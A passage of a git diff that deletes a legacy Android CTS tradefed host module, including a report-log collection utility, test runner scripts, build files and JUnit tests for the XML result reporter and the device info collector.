-        String[] gtestOutput = parseInstrumentation(lines);
-        super.processNewLines(gtestOutput);
-    }
-
-    /**
-     * Parses raw instrumentation output and returns the
-     * contained gtest output
-     *
-     * @param lines the raw instrumentation output
-     * @return the gtest output
-     */
-    public String[] parseInstrumentation(String[] lines) {
-        List<String> output = new ArrayList<String>();
-        boolean readMultiLine = false;
-        for (String line : lines) {
-
-            if (line.startsWith("INSTRUMENTATION_RESULT: ")) {
-                CLog.e("Instrumentation Error:");
-                mInstrumentationError = true;
-            }
-
-            if (mInstrumentationError) {
-                CLog.e(line);
-                continue;
-            }
-
-            if (line.startsWith("INSTRUMENTATION_STATUS: gtest=")) {
-                output.add(line.replace("INSTRUMENTATION_STATUS: gtest=", ""));
-                readMultiLine = true;
-                continue;
-            }
-
-            if (line.startsWith("INSTRUMENTATION_")) {
-                readMultiLine = false;
-                continue;
-            }
-
-            if (readMultiLine) {
-                output.add(line);
-            }
-        }
-
-        return output.toArray(new String[output.size()]);
-    }
-}
-
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/util/ReportLogUtil.java b/tools/tradefed-host/src/com/android/cts/tradefed/util/ReportLogUtil.java
deleted file mode 100644
index 9233a4a..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/util/ReportLogUtil.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.util;
-
-import com.android.cts.tradefed.result.CtsXmlResultReporter;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.FileUtil;
-
-import java.io.File;
-
-/**
- * Collects report logs from device and host after cts_v1 test runs.
- */
-public class ReportLogUtil{
-
-    /**
-     * Directory values must match the src-dir, dest-dir and temp-dir values configured in
-     * ReportLogCollector target preparer in
-     * cts/tools/cts-tradefed/res/config/cts-preconditions.xml.
-     */
-    private static final String SRC_DIR = "/sdcard/report-log-files/";
-    private static final String DEST_DIR = "report-log-files/";
-    private static final String TEMP_REPORT_DIR= "temp-report-logs/";
-
-    public static void prepareReportLogContainers(ITestDevice device, IBuildInfo buildInfo) {
-        try {
-            // Delete earlier report logs if present on device.
-            String command = String.format("adb -s %s shell rm -rf %s", device.getSerialNumber(),
-                    SRC_DIR);
-            if (device.doesFileExist(SRC_DIR)) {
-                Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c",
-                        command});
-                if (process.waitFor() != 0) {
-                    CLog.e("Failed to run %s", command);
-                }
-            }
-            // Create folder in result directory to store report logs.
-            File resultDir = new File(buildInfo.getBuildAttributes().get(
-                    CtsXmlResultReporter.CTS_RESULT_DIR));
-            if (DEST_DIR != null) {
-                resultDir = new File(resultDir, DEST_DIR);
-            }
-            resultDir.mkdirs();
-            if (!resultDir.isDirectory()) {
-                CLog.e("%s is not a directory", resultDir.getAbsolutePath());
-                return;
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-
-    public static void collectReportLogs(ITestDevice device, IBuildInfo buildInfo) {
-        // Pull report log files from device and host.
-        try {
-            File resultDir = new File(buildInfo.getBuildAttributes().get(
-                    CtsXmlResultReporter.CTS_RESULT_DIR));
-            if (DEST_DIR != null) {
-                resultDir = new File(resultDir, DEST_DIR);
-            }
-            resultDir.mkdirs();
-            if (!resultDir.isDirectory()) {
-                CLog.e("%s is not a directory", resultDir.getAbsolutePath());
-                return;
-            }
-            final File hostReportDir = FileUtil.createNamedTempDir(TEMP_REPORT_DIR);
-            if (!hostReportDir.isDirectory()) {
-                CLog.e("%s is not a directory", hostReportDir.getAbsolutePath());
-                return;
-            }
-            pull(device, SRC_DIR, hostReportDir, resultDir);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-
-    private static void pull(ITestDevice device, String deviceSrc, File hostDir, File destDir) {
-        String hostSrc = hostDir.getAbsolutePath();
-        String dest = destDir.getAbsolutePath();
-        String deviceSideCommand = String.format("adb -s %s pull %s %s", device.getSerialNumber(),
-                deviceSrc, dest);
-        CLog.e(deviceSideCommand);
-        try {
-            if (device.doesFileExist(deviceSrc)) {
-                Process deviceProcess = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c",
-                        deviceSideCommand});
-                if (deviceProcess.waitFor() != 0) {
-                    CLog.e("Failed to run %s", deviceSideCommand);
-                }
-            }
-            FileUtil.recursiveCopy(hostDir, destDir);
-            FileUtil.recursiveDelete(hostDir);
-        } catch (Exception e) {
-            CLog.e("Caught exception during pull.");
-            CLog.e(e);
-        }
-    }
-}
diff --git a/tools/tradefed-host/tests/.classpath b/tools/tradefed-host/tests/.classpath
deleted file mode 100644
index 10ad23c..0000000
--- a/tools/tradefed-host/tests/.classpath
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/3"/>
-	<classpathentry combineaccessrules="false" kind="src" path="/ddmlib"/>
-	<classpathentry combineaccessrules="false" kind="src" path="/tradefederation"/>
-	<classpathentry combineaccessrules="false" kind="src" path="/cts-tradefed-host"/>
-	<classpathentry kind="var" path="CTS_SRC_ROOT/out/host/common/obj/JAVA_LIBRARIES/easymock_intermediates/javalib.jar" sourcepath="/CTS_SRC_ROOT/external/easymock/src"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
diff --git a/tools/tradefed-host/tests/.project b/tools/tradefed-host/tests/.project
deleted file mode 100644
index 1c385d8..0000000
--- a/tools/tradefed-host/tests/.project
+++ /dev/null
@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<projectDescription>
-	<name>cts-tradefed-host-tests</name>
-	<comment></comment>
-	<projects>
-	</projects>
-	<buildSpec>
-		<buildCommand>
-			<name>org.eclipse.jdt.core.javabuilder</name>
-			<arguments>
-			</arguments>
-		</buildCommand>
-	</buildSpec>
-	<natures>
-		<nature>org.eclipse.jdt.core.javanature</nature>
-	</natures>
-</projectDescription>
diff --git a/tools/tradefed-host/tests/Android.mk b/tools/tradefed-host/tests/Android.mk
deleted file mode 100644
index 365deb8..0000000
--- a/tools/tradefed-host/tests/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Only compile source java files in this lib.
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := old-cts-tradefed-tests
-LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := tradefed-prebuilt old-cts-tradefed
-LOCAL_STATIC_JAVA_LIBRARIES := easymock
-
-include $(BUILD_HOST_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/tools/tradefed-host/tests/run_unit_func_tests.sh b/tools/tradefed-host/tests/run_unit_func_tests.sh
deleted file mode 100755
index 8c08c4e..0000000
--- a/tools/tradefed-host/tests/run_unit_func_tests.sh
+++ /dev/null
@@ -1,48 +0,0 @@
-#!/bin/bash
-
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# helper script for running the cts-tradefed unit tests
-
-checkFile() {
-    if [ ! -f "$1" ]; then
-        echo "Unable to locate $1"
-        exit
-    fi;
-}
-
-# check if in Android build env
-if [ ! -z ${ANDROID_BUILD_TOP} ]; then
-    HOST=`uname`
-    if [ "$HOST" == "Linux" ]; then
-        OS="linux-x86"
-    elif [ "$HOST" == "Darwin" ]; then
-        OS="darwin-x86"
-    else
-        echo "Unrecognized OS"
-        exit
-    fi;
-fi;
-
-JAR_DIR=${ANDROID_BUILD_TOP}/out/host/$OS/framework
-JARS="tradefed-prebuilt.jar hosttestlib.jar old-cts-tradefed.jar old-cts-tradefed-tests.jar"
-
-for JAR in $JARS; do
-    checkFile ${JAR_DIR}/${JAR}
-    JAR_PATH=${JAR_PATH}:${JAR_DIR}/${JAR}
-done
-
-java $RDBG_FLAG \
-  -cp ${JAR_PATH} com.android.tradefed.command.Console run singleCommand host --class com.android.cts.tradefed.FuncTests "$@"
diff --git a/tools/tradefed-host/tests/run_unit_tests.sh b/tools/tradefed-host/tests/run_unit_tests.sh
deleted file mode 100755
index a1bb12c..0000000
--- a/tools/tradefed-host/tests/run_unit_tests.sh
+++ /dev/null
@@ -1,48 +0,0 @@
-#!/bin/bash
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# helper script for running the cts-tradefed unit tests
-
-checkFile() {
-    if [ ! -f "$1" ]; then
-        echo "Unable to locate $1"
-        exit
-    fi;
-}
-
-# check if in Android build env
-if [ ! -z ${ANDROID_BUILD_TOP} ]; then
-    HOST=`uname`
-    if [ "$HOST" == "Linux" ]; then
-        OS="linux-x86"
-    elif [ "$HOST" == "Darwin" ]; then
-        OS="darwin-x86"
-    else
-        echo "Unrecognized OS"
-        exit
-    fi;
-fi;
-
-JAR_DIR=${ANDROID_BUILD_TOP}/out/host/$OS/framework
-JARS="tradefed-prebuilt.jar hosttestlib.jar old-cts-tradefed.jar old-cts-tradefed-tests.jar"
-
-for JAR in $JARS; do
-    checkFile ${JAR_DIR}/${JAR}
-    JAR_PATH=${JAR_PATH}:${JAR_DIR}/${JAR}
-done
-
-java $RDBG_FLAG \
-  -cp ${JAR_PATH} com.android.tradefed.command.Console run singleCommand host -n --class com.android.cts.tradefed.UnitTests "$@"
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/FuncTests.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/FuncTests.java
deleted file mode 100644
index a9420d2..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/FuncTests.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed;
-
-import com.android.cts.tradefed.device.DeviceInfoCollectorFuncTest;
-import com.android.tradefed.testtype.DeviceTestSuite;
-
-import junit.framework.Test;
-
-/**
- * A test suite for all cts-tradefed functional tests.
- * <p/>
- * Tests listed here should require a device.
- */
-public class FuncTests extends DeviceTestSuite {
-
-    public FuncTests() {
-        super();
-
-        // device package
-        addTestSuite(DeviceInfoCollectorFuncTest.class);
-    }
-
-    public static Test suite() {
-        return new FuncTests();
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/UnitTests.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/UnitTests.java
deleted file mode 100644
index 29c1324..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/UnitTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed;
-
-import com.android.cts.tradefed.result.CtsXmlResultReporterTest;
-import com.android.cts.tradefed.result.DeviceInfoResultTest;
-import com.android.cts.tradefed.result.TestPackageResultTest;
-import com.android.cts.tradefed.result.TestResultsTest;
-import com.android.cts.tradefed.result.TestSummaryXmlTest;
-import com.android.cts.tradefed.result.TestTest;
-import com.android.cts.tradefed.result.TestLogTest;
-import com.android.cts.tradefed.testtype.Abi;
-import com.android.cts.tradefed.testtype.CtsTestTest;
-import com.android.cts.tradefed.testtype.DeqpTestRunnerTest;
-import com.android.cts.tradefed.testtype.GeeTestTest;
-import com.android.cts.tradefed.testtype.JarHostTestTest;
-import com.android.cts.tradefed.testtype.TestFilterTest;
-import com.android.cts.tradefed.testtype.TestPackageDefTest;
-import com.android.cts.tradefed.testtype.TestPackageXmlParserTest;
-import com.android.cts.tradefed.testtype.TestPlanTest;
-import com.android.cts.tradefed.testtype.WrappedGTestResultParserTest;
-import com.android.tradefed.testtype.IAbi;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-/**
- * A test suite for all cts-tradefed unit tests.
- * <p/>
- * All tests listed here should be self-contained, and do not require any external dependencies
- * (such as a full CTS build with XML etc).
- */
-public class UnitTests extends TestSuite {
-
-    public static final IAbi ABI = new Abi("armeabi-v7a", "32");
-
-    public UnitTests() {
-        super();
-
-        // result package
-        addTestSuite(CtsXmlResultReporterTest.class);
-        addTestSuite(DeviceInfoResultTest.class);
-        addTestSuite(TestPackageResultTest.class);
-        addTestSuite(TestResultsTest.class);
-        addTestSuite(TestSummaryXmlTest.class);
-        addTestSuite(TestTest.class);
-        addTestSuite(TestLogTest.class);
-
-        // testtype package
-        addTestSuite(CtsTestTest.class);
-        addTestSuite(DeqpTestRunnerTest.class);
-        addTestSuite(GeeTestTest.class);
-        addTestSuite(JarHostTestTest.class);
-        addTestSuite(TestFilterTest.class);
-        addTestSuite(TestPackageDefTest.class);
-        addTestSuite(TestPackageXmlParserTest.class);
-        addTestSuite(TestPlanTest.class);
-        addTestSuite(WrappedGTestResultParserTest.class);
-    }
-
-    public static Test suite() {
-        return new UnitTests();
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/build/StubCtsBuildHelper.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/build/StubCtsBuildHelper.java
deleted file mode 100644
index 0fe2f7a..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/build/StubCtsBuildHelper.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.build;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-
-/**
- * Stub implementation of CtsBuildHelper that returns empty files for all methods
- */
-public class StubCtsBuildHelper extends CtsBuildHelper {
-
-    public StubCtsBuildHelper()  {
-        super(new File("tmp"));
-    }
-
-    @Override
-    public void validateStructure() {
-        // ignore
-    }
-
-    @Override
-    public File getTestApp(String appFileName) throws FileNotFoundException {
-        return new File("tmp");
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/device/DeviceInfoCollectorFuncTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/device/DeviceInfoCollectorFuncTest.java
deleted file mode 100644
index 60e30cc..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/device/DeviceInfoCollectorFuncTest.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.device;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.cts.tradefed.UnitTests;
-import com.android.cts.tradefed.result.CtsXmlResultReporter;
-import com.android.tradefed.build.BuildInfo;
-import com.android.tradefed.build.IFolderBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.util.FileUtil;
-
-import java.io.File;
-import java.util.HashMap;
-import java.util.Map;
-
-import org.easymock.EasyMock;
-
-/**
- * Functional test for {@link DeviceInfoCollector}.
- * <p/>
- * TODO: this test assumes the TestDeviceSetup and DeviceInfoCollector apks are located in the
- * "java.io.tmpdir"
- */
-public class DeviceInfoCollectorFuncTest extends DeviceTestCase {
-
-    private CollectingTestListener testListener;
-    private File mResultDir;
-    private IFolderBuildInfo mMockBuildInfo;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        testListener = new CollectingTestListener();
-        mResultDir = FileUtil.createTempDir("cts-result-dir");
-        mMockBuildInfo = EasyMock.createMock(IFolderBuildInfo.class);
-        Map<String, String> attributes = new HashMap<>();
-        attributes.put(CtsXmlResultReporter.CTS_RESULT_DIR, mResultDir.getAbsolutePath());
-        EasyMock.expect(mMockBuildInfo.getBuildAttributes()).andStubReturn(attributes);
-        EasyMock.replay(mMockBuildInfo);
-
-        assertNotNull(getDevice().getSerialNumber());
-    }
-
-    public void testCollectDeviceInfo() throws DeviceNotAvailableException {
-        testListener.invocationStarted(mMockBuildInfo);
-        DeviceInfoCollector.collectDeviceInfo(getDevice(), UnitTests.ABI.getName(), new File(
-                System.getProperty("java.io.tmpdir")), testListener);
-        assertNotNull(testListener.getCurrentRunResults());
-
-        Map<String, String> runMetrics = testListener.getCurrentRunResults().getRunMetrics();
-        assertTrue(runMetrics.size() > 0);
-        displayMetrics(runMetrics);
-        testListener.invocationEnded(0);
-    }
-
-    public void testExtendedDeviceInfo() throws DeviceNotAvailableException {
-        testListener.invocationStarted(mMockBuildInfo);
-        DeviceInfoCollector.collectExtendedDeviceInfo(getDevice(), UnitTests.ABI.getName(),
-                new File(System.getProperty("java.io.tmpdir")), testListener, mMockBuildInfo);
-        assertNotNull(testListener.getCurrentRunResults());
-
-        Map<String, String> runMetrics = testListener.getCurrentRunResults().getRunMetrics();
-        assertTrue(runMetrics.size() > 0);
-        displayMetrics(runMetrics);
-        testListener.invocationEnded(0);
-    }
-
-    private void displayMetrics(Map<String, String> runMetrics) {
-        for (Map.Entry<String, String> metricEntry : runMetrics.entrySet()) {
-            CLog.logAndDisplay(LogLevel.INFO,
-                    String.format("%s=%s", metricEntry.getKey(), metricEntry.getValue()));
-        }
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/CtsXmlResultReporterTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/CtsXmlResultReporterTest.java
deleted file mode 100644
index 361b91c..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/CtsXmlResultReporterTest.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import static com.android.cts.tradefed.result.CtsXmlResultReporter.CTS_RESULT_FILE_VERSION;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.UnitTests;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IFolderBuildInfo;
-import com.android.tradefed.result.LogDataType;
-import com.android.tradefed.result.LogFile;
-import com.android.tradefed.result.TestSummary;
-import com.android.tradefed.result.XmlResultReporter;
-import com.android.tradefed.util.FileUtil;
-
-import junit.framework.TestCase;
-
-import org.easymock.EasyMock;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.IOException;
-import java.io.OutputStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Unit tests for {@link XmlResultReporter}.
- */
-public class CtsXmlResultReporterTest extends TestCase {
-
-    private static final String TEST_SUMMARY_URL = "http://www.google.com?q=android";
-    private static final List<TestSummary> SUMMARY_LIST =
-            new ArrayList<>(Arrays.asList(new TestSummary(TEST_SUMMARY_URL)));
-    private CtsXmlResultReporter mResultReporter;
-    private ByteArrayOutputStream mOutputStream;
-    private File mBuildDir;
-    private File mReportDir;
-    private IFolderBuildInfo mMockBuild;
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mOutputStream = new ByteArrayOutputStream();
-        mResultReporter = new CtsXmlResultReporter() {
-            @Override
-            OutputStream createOutputResultStream(File reportDir) throws IOException {
-                return mOutputStream;
-            }
-
-            @Override
-            String getTimestamp() {
-                return "ignore";
-            }
-        };
-        // TODO: use mock file dir instead
-        mReportDir = FileUtil.createTempDir("foo");
-        mResultReporter.setReportDir(mReportDir);
-        mBuildDir = FileUtil.createTempDir("build");
-        File ctsDir = new File(mBuildDir, "android-cts");
-        File repoDir = new File(ctsDir, "repository");
-        File casesDir = new File(repoDir, "testcases");
-        File plansDir = new File(repoDir, "plans");
-        assertTrue(casesDir.mkdirs());
-        assertTrue(plansDir.mkdirs());
-        mMockBuild = EasyMock.createMock(IFolderBuildInfo.class);
-        EasyMock.expect(mMockBuild.getDeviceSerial()).andStubReturn(null);
-        EasyMock.expect(mMockBuild.getRootDir()).andStubReturn(mBuildDir);
-        mMockBuild.addBuildAttribute(EasyMock.cmpEq(CtsXmlResultReporter.CTS_RESULT_DIR),
-                (String) EasyMock.anyObject());
-        EasyMock.expectLastCall();
-        Map<String, String> attributes = new HashMap<>();
-        attributes.put(CtsXmlResultReporter.CTS_RESULT_DIR, "");
-        EasyMock.expect(mMockBuild.getBuildAttributes()).andStubReturn(attributes);
-        EasyMock.expect(mMockBuild.getBuildId()).andStubReturn("");
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mReportDir != null) {
-            FileUtil.recursiveDelete(mReportDir);
-        }
-        if (mBuildDir != null) {
-            FileUtil.recursiveDelete(mBuildDir);
-        }
-        super.tearDown();
-    }
-
-    /**
-     * A simple test to ensure expected output is generated for test run with no tests.
-     */
-    public void testEmptyGeneration() {
-        final String expectedHeaderOutput = "<?xml version='1.0' encoding='UTF-8' standalone='no' ?>" +
-            "<?xml-stylesheet type=\"text/xsl\" href=\"cts_result.xsl\"?>";
-        final String expectedTestOutput = String.format(
-            "<TestResult testPlan=\"NA\" starttime=\"ignore\" endtime=\"ignore\" " +
-                    "version=\"%s\" suite=\"%s\"> ", CTS_RESULT_FILE_VERSION, "CTS");
-        final String expectedSummaryOutput =
-            "<Summary failed=\"0\" notExecuted=\"0\" timeout=\"0\" pass=\"0\" />";
-        final String expectedEndTag = "</TestResult>";
-        EasyMock.replay(mMockBuild);
-        mResultReporter.invocationStarted(mMockBuild);
-        mResultReporter.invocationEnded(1);
-        String actualOutput = getOutput();
-        assertTrue(actualOutput.startsWith(expectedHeaderOutput));
-        assertTrue(String.format("test output did not contain expected test result [%s]. Got %s",
-                expectedTestOutput, actualOutput), actualOutput.contains(expectedTestOutput));
-        assertTrue(String.format("test output did not contain expected test summary [%s]. Got %s",
-                expectedSummaryOutput, actualOutput), actualOutput.contains(expectedSummaryOutput));
-        assertTrue(String.format("test output did not contain expected TestResult end tag. Got %s",
-                actualOutput), actualOutput.endsWith(expectedEndTag));
-        EasyMock.verify(mMockBuild);
-    }
-
-    /**
-     * A simple test to ensure expected output is generated for test run with a single passed test.
-     */
-    public void testSinglePass() {
-        Map<String, String> emptyMap = Collections.emptyMap();
-        final TestIdentifier testId = new TestIdentifier("com.foo.FooTest", "testFoo");
-        EasyMock.replay(mMockBuild);
-        mResultReporter.invocationStarted(mMockBuild);
-        mResultReporter.testRunStarted(AbiUtils.createId(UnitTests.ABI.getName(), "run"), 1);
-        mResultReporter.testStarted(testId);
-        mResultReporter.testEnded(testId, emptyMap);
-        mResultReporter.testRunEnded(3000, emptyMap);
-        mResultReporter.putSummary(SUMMARY_LIST);
-        mResultReporter.invocationEnded(1);
-        String output =  getOutput();
-        // TODO: consider doing xml based compare
-        final String expectedTestOutput = String.format(
-            "<TestResult testPlan=\"NA\" starttime=\"ignore\" endtime=\"ignore\" " +
-                    "version=\"%s\" suite=\"%s\" referenceUrl=\"%s\"> ",
-                            CTS_RESULT_FILE_VERSION, "CTS", TEST_SUMMARY_URL);
-        assertTrue("Found output: " + output, output.contains(expectedTestOutput));
-        assertTrue(output.contains(
-              "<Summary failed=\"0\" notExecuted=\"0\" timeout=\"0\" pass=\"1\" />"));
-        assertTrue(output.contains("<TestPackage name=\"\" appPackageName=\"run\" abi=\"" +
-              UnitTests.ABI.getName() + "\" digest=\"\">"));
-        assertTrue(output.contains("<TestCase name=\"FooTest\" priority=\"\">"));
-
-        final String testCaseTag = String.format(
-                "<Test name=\"%s\" result=\"pass\"", testId.getTestName());
-        assertTrue(output.contains(testCaseTag));
-        EasyMock.verify(mMockBuild);
-    }
-
-    /**
-     * A simple test to ensure expected output is generated for test run with a single failed test.
-     */
-    public void testSingleFail() {
-        Map<String, String> emptyMap = Collections.emptyMap();
-        final TestIdentifier testId = new TestIdentifier("FooTest", "testFoo");
-        final String trace = "this is a trace\nmore trace\nyet more trace";
-        EasyMock.replay(mMockBuild);
-        mResultReporter.invocationStarted(mMockBuild);
-        mResultReporter.testRunStarted(AbiUtils.createId(UnitTests.ABI.getName(), "run"), 1);
-        mResultReporter.testStarted(testId);
-        mResultReporter.testFailed(testId, trace);
-        mResultReporter.testEnded(testId, emptyMap);
-        mResultReporter.testRunEnded(3, emptyMap);
-        mResultReporter.testLogSaved("logcat-foo-bar", LogDataType.TEXT, null,
-                new LogFile("path", "url"));
-        mResultReporter.invocationEnded(1);
-        String output = getOutput();
-        // TODO: consider doing xml based compare
-        assertTrue(output.contains(
-                "<Summary failed=\"1\" notExecuted=\"0\" timeout=\"0\" pass=\"0\" />"));
-        final String failureTag =
-                "<FailedScene message=\"this is a trace&#10;more trace\">     " +
-                "<StackTrace>this is a tracemore traceyet more trace</StackTrace>";
-        assertTrue(output.contains(failureTag));
-
-        // Check that no TestLog tags were added, because the flag wasn't enabled.
-        final String testLogTag = String.format("<TestLog type=\"logcat\" url=\"url\" />");
-        assertFalse(output, output.contains(testLogTag));
-        EasyMock.verify(mMockBuild);
-    }
-
-    /**
-     * Test that flips the include-test-log-tags flag and checks that logs are written to the XML.
-     */
-    public void testIncludeTestLogTags() {
-        Map<String, String> emptyMap = Collections.emptyMap();
-        final TestIdentifier testId = new TestIdentifier("FooTest", "testFoo");
-        final String trace = "this is a trace\nmore trace\nyet more trace";
-
-        // Include TestLogTags in the XML.
-        mResultReporter.setIncludeTestLogTags(true);
-
-        EasyMock.replay(mMockBuild);
-        mResultReporter.invocationStarted(mMockBuild);
-        mResultReporter.testRunStarted(AbiUtils.createId(UnitTests.ABI.getName(), "run"), 1);
-        mResultReporter.testStarted(testId);
-        mResultReporter.testFailed(testId, trace);
-        mResultReporter.testEnded(testId, emptyMap);
-        mResultReporter.testRunEnded(3, emptyMap);
-        mResultReporter.testLogSaved("logcat-foo-bar", LogDataType.TEXT, null,
-                new LogFile("path", "url"));
-        mResultReporter.invocationEnded(1);
-
-        // Check for TestLog tags because the flag was enabled via setIncludeTestLogTags.
-        final String output = getOutput();
-        final String testLogTag = String.format("<TestLog type=\"logcat\" url=\"url\" />");
-        assertTrue(output, output.contains(testLogTag));
-        EasyMock.verify(mMockBuild);
-    }
-
